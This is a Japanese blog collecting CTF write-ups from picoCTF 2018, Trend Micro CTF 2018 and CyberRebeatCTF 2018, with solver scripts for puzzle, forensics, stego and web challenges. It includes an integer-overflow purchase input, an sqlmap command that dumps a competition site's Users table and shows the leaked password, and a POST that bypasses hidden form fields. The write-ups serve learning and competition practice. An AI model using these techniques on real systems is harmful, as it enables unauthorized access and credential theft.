[2] Buy Stuff

[3] Exit

 Enter a menu selection
2
Current Auctions
[1] I Can't Believe its not a Flag!
[2] Real Flag
1
Imitation Flags cost 1000 each, how many would you like?
2147483546

Your total cost is: -102000

Your new balance: 103100

Welcome to the Store App V1.0
World's Most Secure Purchasing App

[1] Check Account Balance

[2] Buy Stuff

[3] Exit

 Enter a menu selection
2
Current Auctions
[1] I Can't Believe its not a Flag!
[2] Real Flag
2
A genuine Flag costs 100000 dollars, and we only have 1 in stock
Enter 1 to purchase1
YOUR FLAG IS: picoCTF{numb3r3_4r3nt_s4f3_dbd42a50}
Welcome to the Store App V1.0
World's Most Secure Purchasing App

[1] Check Account Balance

[2] Buy Stuff

[3] Exit

 Enter a menu selection

picoCTF{numb3r3_4r3nt_s4f3_dbd42a50}

script me - Points: 500

Can you understand the language and answer the questions to retrieve the flag? Connect to the service with nc 2018shell1.picoctf.com 7866

アプローチ:頑張ってソルバを書く

ncすると

Rules:
() + () = ()()                                      => [combine]
((())) + () = ((())())                              => [absorb-right]
() + ((())) = (()(()))                              => [absorb-left]
(())(()) + () = (())(()())                          => [combined-absorb-right]
() + (())(()) = (()())(())                          => [combined-absorb-left]
(())(()) + ((())) = ((())(())(()))                  => [absorb-combined-right]
((())) + (())(()) = ((())(())(()))                  => [absorb-combined-left]
() + (()) + ((())) = (()()) + ((())) = ((()())(())) => [left-associative]

Example:
(()) + () = () + (()) = (()())

Let's start with a warmup.
()() + ()()() = ???

このような問題が降ってきます.

実際に書いたソルバ

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from socket import *

"""
Rules:
() + () = ()()                                      => [combine]
((())) + () = ((())())                              => [absorb-right]
() + ((())) = (()(()))                              => [absorb-left]
(())(()) + () = (())(()())                          => [combined-absorb-right]
() + (())(()) = (()())(())                          => [combined-absorb-left]
(())(()) + ((())) = ((())(())(()))                  => [absorb-combined-right]
((())) + (())(()) = ((())(())(()))                  => [absorb-combined-left]
() + (()) + ((())) = (()()) + ((())) = ((()())(())) => [left-associative]
"""

def depth(par):
    count = 0
    max = 0
    for x in par:
        if x == '(':
            count += 1
            if max < count:
                max = count
        else:
            count -=1

    return max

def combine(pars, x, n, ans):
    print(x,ans)

    if depth(ans) == depth(pars[x]):
        # depth: left == right
        ans = ans + pars[x]
        if n == x:
            return ans
        else :
            return combine(pars, x + 1, n, ans)

    elif depth(ans) > depth(pars[x]):
        # depth: left > right
        ans = ans[:-1] + pars[x] + ')'
        if n == x:
            return ans
        else:
            return combine(pars, x + 1, n, ans)
    else:
        # depth: left < right
        ans = '(' + ans + pars[x][1:]
        if n == x:
            return ans
        else:
            return combine(pars, x + 1, n, ans)

if __name__ == '__main__':


    s = socket(AF_INET, SOCK_STREAM)
    s.connect(('2018shell1.picoctf.com', 7866))

    for i in range(15):
        rec = s.recv(16384).decode('utf-8')
        if '???' in rec:
            rec = rec.split('\n')
            temp = [x for x in rec if '???' in x]
            index = temp[0].find(' = ')
            formula = temp[0][:index]
            print('-' * 100)
            print(formula)
            print('-' * 100)
            n = len(formula.split(' + '))
            f = formula.split(' + ')[0]
            res = combine(formula.split(' + '), 1, n - 1, f)
            print(res)
            s.send(res.encode('utf-8')+b'\n')
        elif 'Final' in rec:
            f1 = rec.split('\n')[3]
            print('f1')
            print(f1)
            rec = s.recv(16384).decode('utf-8')
            rec = rec.split('\n')
            temp = [x for x in rec if '???' in x]
            index = temp[0].find(' = ')
            f2 = temp[0][:index]
            print('f2')
            print(f2)
            formula = f1 + f2
            print('-' * 100)
            print(formula)
            print('-' * 100)
            n = len(formula.split(' + '))
            f = formula.split(' + ')[0]
            res = combine(formula.split(' + '), 1, n - 1, f)
            print(res)
            s.send(res.encode('utf-8')+b'\n')


        else:
            print(rec)

picoCTF{5cr1pt1nG_l1k3_4_pRo_45ca3f85}

お気持ち
最終問題はこのように分割された状態で送られてくる
この分割に気づかず時間がとけた

(()(())(())) + (()())(()()()) + ((()()())((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))) + (((()()()(())()())()(((()()())()())()()))()(())((()))(((())))((((()))))) + ((()())(())()()()(()()())) + ((()())(())()()()(()()()()()()()())) + (((())())(()()()(())()())()(((()()())()())()())) + (()()()()()()()(())((()))(((())))((((()))))) + ((((()())()(()))()(((()()())()())()()))((()(())((()))(((())))()()))()) + ((()()(()))()(((()()())()())()())) + ((())()()()()(())) + ((()()())()(())((()))(((())))((((()))))) + ((())()(())((()))(((())))((((()))))) + ((()())()(())()()()) + (((()((()())()())())()(((()()())()())()()))()(())((()))(((())))((((()))))) + (()()()()()()()()()(())()()) + ((()()()()()()()()())((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))) + (()()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))) + ((()()()()()())()()()(())()()) + (((()())()(())()())()(())((()))(((())))((((()))))) + ((()()()()((()())()())())((()(())((()))(((())))()()))()) + (((()())(())()()())()(((()()())()())()())) + ((()())()(()))((())()(()()()()()()()())) + ((()()()(((()()())()())()()))()(())((()))(((())))((((()))))) + (((())())(()()()(())()())((()())()())()) + ((()())(())()(()()()()()()()())) + (()()()())(()()()()()()()()) + (((()())((()())()())())()(((()()())()())()())) + ((()())(()()()()()()()())()()()(())()()) + (((()())(

)(())()()())((()())()())()) + (((())()(()()()))((((()))))(((())))((()))(())()) + (((()())()()()(())()())((((()))))(((())))((()))(())()) + ((()()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())) + ((()()()()())((()())()())()) + ((()(()))()(())((()))(((())))((((()))))) + (((()())()(())(()()()()()()()()))((((()))))(((())))((()))(())()) + ((())()(()()())) + (((())()()())((()(())((()))(((())))()()))()) + (((()())()(())(()()()()()()()()))()(((()()())()())()())) + (()(())(()()()()()()()())) + ((()()(()))(()()()(())()())((()(())((()))(((())))()()))()) + (()()(()))((())()(()()())) + (()()()()()()()) + ((()()()()()(())()())((((()))))(((())))((()))(())()) + ((()()()()()()()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())) + ((()()(()))((())())()(((()()())()())()())) + ((()()()()()())((()())()())()) + ((()()()()()()()())((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))) + (()()()()())(()()()()()()()()) + ((()())()(())((()))(((())))((((())))))

まとめ

  • 恥ずかしながらviewコマンドを知らなかった
  • scipt meみたいな実装問題をサクッとキレイに解けるようになりたい(競プロ再開すべきなのか?)

Trend Micro CTF 2018 Write-up

Trend Micro CTF 2018とは

Trend Micro CTF 2018 – Raimund Genes Cupは、 安全なデジタル社会の実現を目指す トレンドマイクロが主催する、 サイバーセキュリティに関する 第4回目の世界的な競技大会です

www.trendmicro.com

成績

自分はMisc100, Misc200を解き,300点獲得しました. f:id:satto1237:20180916161702j:plain

Write-up

Misc100

Category: Misc
Points: 100
Brave Challenger, welcome!

I will hand you the flag, just not on a silver platter. Closely analyze the file, peel it back layer by layer, examine it byte by byte and the flag will reveal itself.

Follow the rabbit hole, the flag is hiding at the end of the tunnel!

Get your hands dirty! Whip out all your tools! Use your hex editor! But also be careful my brave challenger, for it might blow up in your face.

Good Luck!

f:id:satto1237:20180916162526p:plain

アプローチ:これ系の問題はforemost + binwalk

とりあえず EATME.pdf が渡されるので strings してみると

> strings EATME.pdf | grep flag.txt
flag.txtUT

flag.txtが埋め込めれていることが分かるので, foremost してあげます.
./output/zip/00001462.zip を得ることができるのでunzipします.

> unzip 00001462.zip
Archive:  00001462.zip
Boooooom!
flbn.txt:  mismatching "local" filename (galf.txt),
         continuing with "central" filename version
  inflating: flbn.txt

しかし,微妙にunzipが失敗する(flbn.txtのせい)のでbinwalkを使います.

> binwalk -e  00001462.zip                                                                                                                                                   

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zip archive data, at least v2.0 to extract, compressed size: 41, uncompressed size: 200, name: flag.txt
4220981       0x406835        End of Zip archive, comment: "Boooooom!"
4221083       0x40689B        Zlib compressed data, default compression
4221165       0x4068ED        Unix path: /Type/Metadata/Subtype/XML>>stream
4221317       0x406985        Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#"><rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://p
4222198       0x406CF6        Zlib compressed data, default compression
4222644       0x406EB4        Zlib compressed data, default compression

./_00001462.zip.extracted/flag.txt を得ることできました.
flag.txtTMCTF{QWxpY2UgaW4gV29uZGVybGFuZA==}です.
因みにQWxpY2UgaW4gV29uZGVybGFuZA==base64Alice in Wonderlandです.

Misc200

Category: Misc
Points: 200
If you look at that Constellation the sky will open

Traffic Traffic Traffic...

this is really strange ...

hour 1...

hour 2...

hour 3...

where is the data!!!!!? AAAAAAAAAAA ...

lets take a look to the night and see if we can plot something....
Hint 1 REVERSE THE CASES - if you think the flag is in uppercase, try lowercase. If you think the flag is in lowercase, try uppercase.

アプローチ:pcap(ICMP)からデータ抽出+可視化

この問題ではtraffic.pcapproc.pyが渡されます.

まずtraffic.pcapに注目すると,ICMPで何かやってそうなことに気づきます(他のプロトコルTLSv1なので読めない) f:id:satto1237:20180916170607p:plain

ICMPのデータ部を確認すると座標のような値が流れていることに気づきます.
f:id:satto1237:20180916171152p:plain

データを抽出するためにwiresharkicmp.type == 8(ICMPのrequestのみ)というフィルタをかけて一旦pcapで保存します(icmp.pcap).
tsharkを使ってデータを抽出します.

> tshark -r  icmp.pcap -T fields -e data.data

34:2e:34:38:36:39:31:30:2c:33:2e:30:30:30:30:36:30
34:2e:32:30:35:34:31:30:2c:31:2e:34:34:30:30:30:30
33:2e:38:31:31:36:37:30:2c:30:2e:35:30:39:36:35:30
31:2e:30:32:37:32:39:30:2c:33:2e:30:33:38:35:38:30
32:2e:37:37:38:30:32:30:2c:30:2e:30:30:38:33:31:30
35:2e:39:37:37:30:36:30:2c:32:2e:35:32:35:32:31:30
34:2e:31:31:32:39:33:30:2c:34:2e:34:38:30:31:32:30
37:2e:30:31:31:39:37:30:2c:33:2e:30:32:37:31:37:30
36:2e:35:31:30:34:36:30:2c:32:2e:39:33:30:33:30:30
36:2e:39:39:38:36:31:30:2c:32:2e:35:32:37:38:35:30
34:2e:38:30:34:30:31:30:2c:35:2e:30:31:33:39:37:30
37:2e:30:37:33:32:34:30:2c:33:2e:35:33:37:36:31:30
33:2e:38:32:31:37:34:30:2c:30:2e:30:30:30:37:30:30
33:2e:35:36:38:31:36:30:2c:34:2e:39:39:37:30:35:30
...

ここで抽出したデータを適当なスクリプトを書いて座標データに変換します.

import codecs

fr = open('hex.txt','r')
fw = open('test_2.txt','a')
for row in fr:
    hex = ''.join(row.strip().split(':'))
    print(hex)
    text = codecs.decode(hex, 'hex_codec').decode('utf-8')
    print(text)
    fw.write(text + '\n')

fr.close()
fw.close()

多分xxd -p -rをうまく使うとワンライナーで書けると思う
のですが改行周りがめんどくさくなってスクリプト書きました.

座標データを抽出できたのでtraffic.pcapと一緒に渡されたproc.pyを確認します.

import matplotlib.pyplot as plt
import seaborn as sns; sns.set()  # for plot styling
import numpy as np
from sklearn.datasets.samples_generator import make_blobs
from numpy import genfromtxt

#humm, encontre este codigo en un servidor remoto
#estaba junto con el "traffic.pcap"
# que podria ser?, like some sample code 

_data2 = np.genfromtxt('test_2.txt', delimiter=',')
db = DBSCAN(eps=10000, min_samples=100000).fit(my_data2)
labels = db.labels_
n_clusters_ = len(set(labels)) - (1 if -1 in labels else 0)
core_samples_mask = np.zeros_like(db.labels_, dtype=bool)
core_samples_mask[db.core_sample_indices_] = True
unique_labels = set(labels)
colors = [plt.cm.Spectral(each)
          for each in np.linsspace(0, 1, len(unique_labels))]
for k, col in zip(unique_labels, colors):   
    class_member_mask = (labels == k)
    xy = X[class_member_mask & core_samples_mask]
    plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col),
             markeredgecolor='k', markersize=14)
             

             
#NOTE: what you see in the sky put it format TMCTF{replace_here}
#where "replace_here" is what you see
plt.title('aaaaaaaa: %d' % n_clusters_)
plt.show()

コメントを読むとICMPから得た座標データを投げてあげると文字が浮かび上がり,それがflagになるようです.
早速実行しようとしますが,いくつかのエラーがでて実行できません(未定義の変数の使用,DBSCANのimport, DBSCANパラメータの不適切な設定).
そのため,以下のように書き直します.

import matplotlib.pyplot as plt
import seaborn as sns; sns.set()  # for plot styling
import numpy as np
from sklearn.datasets.samples_generator import make_blobs
from numpy import genfromtxt
from sklearn.cluster import DBSCAN

#humm, encontre este codigo en un servidor remoto
#estaba junto con el "traffic.pcap"
# que podria ser?, like some sample code

# _data2 = np.genfromtxt('test_2.txt', delimiter=',')
my_data2 = np.genfromtxt('test_2.txt', delimiter=',')
#eps=10000, min_samples=100000
db = DBSCAN().fit(my_data2)
labels = db.labels_
n_clusters_ = len(set(labels)) - (1 if -1 in labels else 0)
core_samples_mask = np.zeros_like(db.labels_, dtype=bool)
core_samples_mask[db.core_sample_indices_] = True
unique_labels = set(labels)
colors = [plt.cm.Spectral(each)
          for each in np.linspace(0, 1, len(unique_labels))]
for k, col in zip(unique_labels, colors):
    class_member_mask = (labels == k)
    # xy = X[class_member_mask & core_samples_mask]
    xy = my_data2[class_member_mask & core_samples_mask]
    plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col),
             markeredgecolor='k', markersize=14)



#NOTE: what you see in the sky put it format TMCTF{replace_here}
#where "replace_here" is what you see
plt.title('aaaaaaaa: %d' % n_clusters_)
plt.show()

上記のプログラムを実行すると以下のような画像を得ることができます.

f:id:satto1237:20180916174022p:plain

直感で左右反転させます.

f:id:satto1237:20180916174440p:plain

FLAG:1と読めますね.
問題文のヒントに従うと,TMCTF{flag:1}が得られます.

今回の問題とはあまり関係ないですが,DBSCANは密度ベースのクラスタリングアルゴリズムです.
以下の動画が参考になると思います.

www.youtube.com

まとめ

  • 全体的に難しくて簡単な問題しか解けなかった
  • 今回もBinary問題から逃げてしまった
  • Analysis-offensive100で変な音をずっと再生してたら具合悪くなった上に結局解けなかった
  • 0完は回避できたので良かった(CBCTFの悲劇を繰り返さずにすんだ)

CyberRebeatCTF2018 Write-up

CyberRebeatCTFとは

ennach.sakura.ne.jp

CyberRebeatは、サークルE.N.Nachが制作したノベルゲームのタイトルです。 この作品はサイバーセキュリティや、ハッカー、CTFなどを題材としており、 その題材の珍しさや高いクオリティが評価され、日本国内で各種の賞を受賞しました。 本イベントは当該作品の英語版がSteamにてリリースされたことを記念して、より多くの方にCTFを楽しんでいただこうと企画されました。

成績

1人で参加してこんな感じでした.
32位/177チーム(参加人数:270人)

f:id:satto1237:20180909160550p:plain

f:id:satto1237:20180909210959p:plain

[Exercise]

Exercise

CRCTF{CyberRebeatCTF}

CRCTF{CyberRebeatCTF} を提出するだけです.

[Crypto]

Rotation

P4P6S{9RN4RUNPXR45}

アプローチ:rot13 -> 換字式暗号
問題文的にrot13だと思ったのでrot13してみるとC4C6F{9EA4EHACKE45}になります.
次に数字は換字式暗号っぽいなと思ったので4 -> R, 6 -> T, 9 -> W, 5 -> S に変換します.
最終的にflagCRCTF{WEAREHACKERS}になります.

[Misc]

Readme

Readme.

f:id:satto1237:20180909162549j:plain

アプローチ:Electroharmonixを頑張って読む
image.jpgを見るとElectroharmonixというフォントを使ったものだと分かるので下記のサイトの変換表?を見ながらflagを読み解きます.
最終的なflagCRCTF{YOUCANPLAYCYBERREBEATINBOTHLANGUAGES}です.

www.dafont.com

[Programming]

Calculation

nc 59.106.212.75 8080

アプローチ:Pythonで自動化
nc 59.106.212.75 8080をすると四則演算が降ってくるタイプので問題です.
手でやるのはめちゃくちゃしんどいのでPythonで自動化します.
20問解くとflagがでます.
CRCTF{She calls herself a human calculator}

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from socket import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(('59.106.212.75', 8080))

def read():
    res = s.recv(4096).decode('utf-8')
    # print(res)
    return res

for i in range(100):
    print('count: {}'.format(i))
    res = read()
    problem = res.split('\n')[0]
    print(problem)
    if res == '\ufeff':
        continue
    ans = str(eval(problem))
    s.send(ans.encode('utf-8')+b'\n')
    print(ans)

Prime Factor

Answer the maximum prime factor.
nc 59.106.212.75 8081
example:
Question:120
Answer:5 (Prime Factors: 2, 3, 5)

アプローチ:そこそこ速い素因数分解アルゴリズムを使う
基本的な流れはCalculation と同じですが,弱い(遅い)素因数分解アルゴリズムを使うと計算が終わらないので注意する必要があります.
自分はsympyというPythonのライブラリを使いました.
25問解くとflagがでます.
CRCTF{I'm a calculating type by nature.}
Number Theory — SymPy 1.4 documentation

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from sympy import factorint
from socket import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(('59.106.212.75', 8081))

def read():
    res = s.recv(4096).decode('utf-8')
    # print(res)
    return res


for i in range(100):
    print('count: {}'.format(i))
    res = read()
    print(res)
    if res == '\ufeff':
        continue
    number = res.split('\n')[0]
    print(number)
    prime_dict = factorint(int(number))
    ans = str(max(prime_dict.keys()))
    print(ans)
    s.send(ans.encode('utf-8')+b'\n')

Visual Novels

nc 59.106.212.75 8082
あるユーザーは"Reading Power"を持っている。
これはVisualNovelを月にどのくらい読めるかを示している。
彼がたくさんのVisualNovelを持っているとき、彼はどの組み合わせでプレイすればその月の満足度を最大にできるか。
最大の満足度を答えよ。

example:
Reading Power = 30
Games([size, satisfaction]) =
[10, 1],
[21, 2],
[12, 3],

Answer : 4

アプローチ:パースしてDPする
基本的に前の2問と同じですが,典型的なナップサック問題を解く必要があるので条件をパースしてDPします.
10問解くとflagがでます.
CRCTF{Believe in the high efficiency processor installed in your head.}

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from socket import *
import re
import numpy as np

s = socket(AF_INET, SOCK_STREAM)
s.connect(('59.106.212.75', 8082))

def read():
    res = s.recv(4096).decode('utf-8')
    # print(res)
    return res

def dp(power, sizes, satisfactions):
    dp_table = [[0 for j in range(power + 2)] for i in range(len(sizes))]
    backtrack = [[0 for j in range(power + 2)] for i in range(len(sizes))]

    # initialization
    for y in range(power + 1):

        if sizes[0] <= y + 1:
            dp_table[0][y] = satisfactions[0]
            backtrack[0][y] = 1
        else:
            backtrack[0][y] = 0

    # DP construction
    for k in range(1, len(satisfactions)):
        for y in range(power + 1):
            if y - sizes[k] < 0: # out of range
                dp_table[k][y] = dp_table[k - 1][y]
                backtrack[k][y] = 0
                continue
            left = dp_table[k - 1][y]
            right = dp_table[k - 1][y - sizes[k]] + satisfactions[k]
            if left < right: # update
                dp_table[k][y] = right
                backtrack[k][y] = 1
            else:
                dp_table[k][y] = left
                backtrack[k][y] = 0

    argmax = []
    prev = backtrack[len(satisfactions) - 1][power - 1]
    argmax.append(prev)

    tmp_power = power - 1

    for k in range(len(satisfactions) - 2, -1, - 1):
        if prev is 1: # case previous item was selected
            tmp_power -= sizes[k + 1]
            prev = backtrack[k][tmp_power]
        else:
            prev = backtrack[k][tmp_power]
        argmax.append(prev)
    argmax.reverse()

    # print(dp_table)
    # print(backtrack)
    print(argmax)
    arr_argmax = np.array(argmax)
    arr_satisfactions = np.array(satisfactions)
    ans = np.dot(arr_argmax, arr_satisfactions)

    print(ans)
    return ans


for i in range(100):
    print('count: {}'.format(i))
    sizes = []
    satisfactions = []
    res = read()
    if res == '\ufeff' or res == '\n':
        continue

    print(res)
    lines = res.split('\n')
    for line in lines:
        if 'Power' in line:
            power = int(line.split(' ')[-1])
        if '?' in line:
            break
        if line.count(',') > 1:
            num_list = [ x for x in re.split('[, ]', line) if len(x) > 0]
            sizes.append(int(num_list[0][1:]))
            satisfactions.append(int(num_list[1][:-1]))
    ans = str(dp(power, sizes, satisfactions))
    s.send(ans.encode('utf-8')+b'\n')
    print('send')

[Recon]

Tweet

Let's check our official twitter account!

アプローチ:Twitterを見に行く
CRCTF{CyberRebeatCTF_has_started!}

CyberRebeatScripts

Do you know Github?

アプローチ:Githubリポジトリを見に行く
delete FLAGというcommitがあるので編集差分を確認します.
CRCTF{I cut down her gag in a single strike}

github.com

ChangeHistory

I changed my history on Github!

アプローチ:gitの使い方のお勉強

当該リポジトリに行ってみると怪しいissueがたってる.

github.com

とりあえずgit cloneしてgit loggit reflogをしてみるが手がかりなし.
git refloglocal logしか取得できなかったのでなんとかremote logを取得する方法を調べる.

stackoverflow.com

上記サイトによるとcurl https://api.github.com/repos/ennach/ChangeHistory/eventsしてcommit idc476614bc439fe1910e494422b3aa207b776d486のURLを見つけるといいらしい.

https://api.github.com/repos/ennach/ChangeHistory/commits/c476614bc439fe1910e494422b3aa207b776d486

上記サイトで変更前のデータが見れるのでflagがとれる
CRCTF{the timer is set to 120 seconds}

[Stegano]

Secret.pdf

It's a secret pdf!

アプローチ:とりあえずopen
とりあえずopen secret.pdfする
flag部分が黒塗りされてるが文字選択でぬける.
CRCTF{I don't know of a time without the internet}

f:id:satto1237:20180909171815p:plain

Alpha

f:id:satto1237:20180909172105p:plain

アプローチ:alpha.pngのα値を調べる
問題名的にpngのα値を調べろということっぽいので簡単なスクリプトを書いて調べる(スクリプト書くよりも既存のツールを使ったほうが速いです).
ほとんどのPixelのα値が253であることが分かる.
怪しいのでα値が253以外のPixelを抜き出すスクリプトを書く.
CRCTF{ALPHA_IS_THE_NAME_OF_A_HACKER_IN_CYBERREBEAT} f:id:satto1237:20180909172431p:plain

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from PIL import Image
import numpy as np

img = Image.open('./alpha.png')

size = img.size

flag_img = Image.new('RGBA',size)

for x in range(size[0]):
    for y in range(size[1]):
        rgba = img.getpixel((x,y))
        if rgba[3] != 253:
            flag_img.putpixel((x,y),(255,255,255,255))
        else :
            flag_img.putpixel((x,y),(0,0,0,255))
        
flag_img.show()
flag_img.save('./flag_img.png')

[Trivia]

Monero

ウェブ上からMoneroを発掘するソフトウェア。
日本で、自身のウェブサイト上にこのソフトを設置した何人かのユーザが逮捕されている。
フラグはすべて小文字。
例: CRCTF{abcdefgh}

アプローチ:日頃からセキュリティ関連のニュースをチェックしておく
これはcoinhiveのことですね.
CRCTF{coinhive}

Crossword

crossword_text.txt
FLAG:CRCTF{ABCDEFGH}
Flag format: all lowercase

f:id:satto1237:20180909173123p:plain

横
1. ___ はCyberRebeatにおける特殊なコードネーム。CyberRebeatは、ハッカーたちがこれを打倒する物語。『ぴったりだと思わないか、ええっ、英雄(ヒーロー)?』
5. CyberRebeat作中における、とあるハッカーの切り札。______はネットに接続された多数のデバイスで、それぞれがひとつあるいは複数のBOTを実行している。
8. heroine.png / 彼女の名前:____ Amamiya
10. CyberRebeatシナリオライターの代表作:__:____ ~親愛なるあなたへ~
11. CyberRebeatのキャッチフレーズ:We are h_____.
15. W_______はWindowsを実行しているコンピュータをターゲットとした、データを暗号化しBitcoinでの身代金支払いを要求するランサムウェアです。
16. CyberRebeatのシナリオライター
18. CRCTFを主催している同人サークル
19. 運営協力 : __________ Institute, Ltd., Aqutras Inc.
20. ______ はインターネットとセキュリティソフトウェアのクライアントのSSL 3.0へのフォールバックを利用した中間者攻撃です。
21. __________はBashdoorとも呼ばれ、Unix Bashシェルのセキュリティバグの一種であり、2014年9月24日にはじめて公表されました。

縦
2. Operation ______は、中国北京のElderwood GroupのようなAPTが人民解放軍と連携して行った一連のサイバー攻撃のこと。
3. CyberRebeatで利用しているゲームエンジン
4. CyberRebeatのイラストレーター:Kikyo ______
6. smile.min.svg
7. _____ Rain は、米国連邦政府が定義した2003年からのアメリカのコンピュータシステムに対する一連の組織的な攻撃のこと。
9. CyberRebeatのデザインおよび背景イラスト担当
12. 翻訳協力 : __________
13. CRCTFを主催している同人サークルが制作したノベルゲームの名称
14. https://store.____________.com/app/825320/CyberRebeat_The_Fifth_Domain_of_Warfare/
17. heart.png

アプローチ:クロスワードを解く

2. Aurora
3. Unity
4. Manose
10. Re:LieF
11. hackers
12. SekaiProject
13. CyberRebeat
14. steampowered
15. wannacry
18. e.n.nach
19. activedefence
20. poodle
21. Shellshock

CRCTF{ABCDEFGHI}
CRCTF{submarine}

フラグはCRCTF{submarine}になります.

[Web]

White page

http://hidden-field.cyberrebeat.adctf.online/index.php
id: Hiro
password: LittleGarden

f:id:satto1237:20180909173742p:plain

アプローチ:curlでid,passをPost
Webサイトにアクセスしてみると問題名の通り,White pageになっています(Loginボタンがあるだけ).
ソースコードを確認しみてると以下のようになっています.

<body>
  <form action="index.php" method="post">
   <input type="text" name="id" style="visibility:hidden" />
   <input type="text" name="password" style="visibility:hidden" />
   <button>LOGIN</button>
  </form>
</body>

id,passwordの入力フォームがvisibility:hiddenになっているため,このままでは入力できないことがわかります.
そのため,curlを使用してid, passwordPOSTします.
curl http://hidden-field.cyberrebeat.adctf.online/index.php -X POST -d "id=Hiro&password=LittleGarden"
ログインに成功してflagがとれます.
CRCTF{All I typed were four letters.}

Let's Tweet!

http://tweet.cyberrebeat.adctf.online/LetsTweet.php
LetsTweet.php

アプローチ:ついーとする
この問題は正直よく分かりませんでした.
phpソースコードを確認するとtest.dbを読み込んでいることが分かるのでディレクトリトラバーサルtest.dbを抜こうとしたのですが,Not Foundが返ってきて詰みました.
仕方なく,ツイートのリンクを使ってflagをとりました.
CRCTF{Thank_you_for_your_tweet!}

Uploader

Find the secret file.
http://sqli.cyberrebeat.adctf.online/index.php
id: guest
pass: guest

f:id:satto1237:20180909175342p:plain

アプローチ:SQLi -> Blind SQLi
とりあえずFile Name :SQLiしてみるとharadaというユーザがsecret.zipをアップロードしていることが分かります.

f:id:satto1237:20180909175444p:plain

次に問題文にあったid,passでログインしてみるとsample.zippasswordを閲覧できることがわかります.
そのため,haradapassを探し出し,ログインに成功したらsecret.zipunzipできることがわかります. f:id:satto1237:20180909175821p:plain

haradapassを探すためにBlind SQLiしなければいけないのですが,自分はSQLi Beginnerなのでsqlmapに頼りました.

qiita.com

上記のサイトを参考にUsersテーブルdumpします.

sqlmap -u 'http://sqli.cyberrebeat.adctf.online/index.php' --data 'file_name=aaa&search=search' --dump -T Users

f:id:satto1237:20180909180318p:plain

userid password
guest guest
harada seishin0129

pass:seishin0129を使ってuser:haradaとしてログインするとzippasswordを得ることができます.

f:id:satto1237:20180909180625p:plain

上記のpasssecret.zipunzipしてあげるとflagがとれます.
CRCTF{Today's_internet_is_full_of_concerning_vulnerabilities}

[Binary]

0完
f:id:satto1237:20180909181011p:plain

1問目のSimpleBinaryを解きながら「これのどこがシンプルなんだよ???」とキレてた.
Binary全然わからん…Binary強くなりたい…

まとめ

  • 土日を持っていかれた
  • 生活リズムが崩壊した(現在インターン中なので月曜の朝がつらそう)
  • Binaryぜんぜんわからん
  • CTFを始めて数ヶ月経って少しずつ解ける問題が増えてきたことを実感できたので嬉しかった
  • CyberRebeatめっちゃ気になる

store.steampowered.com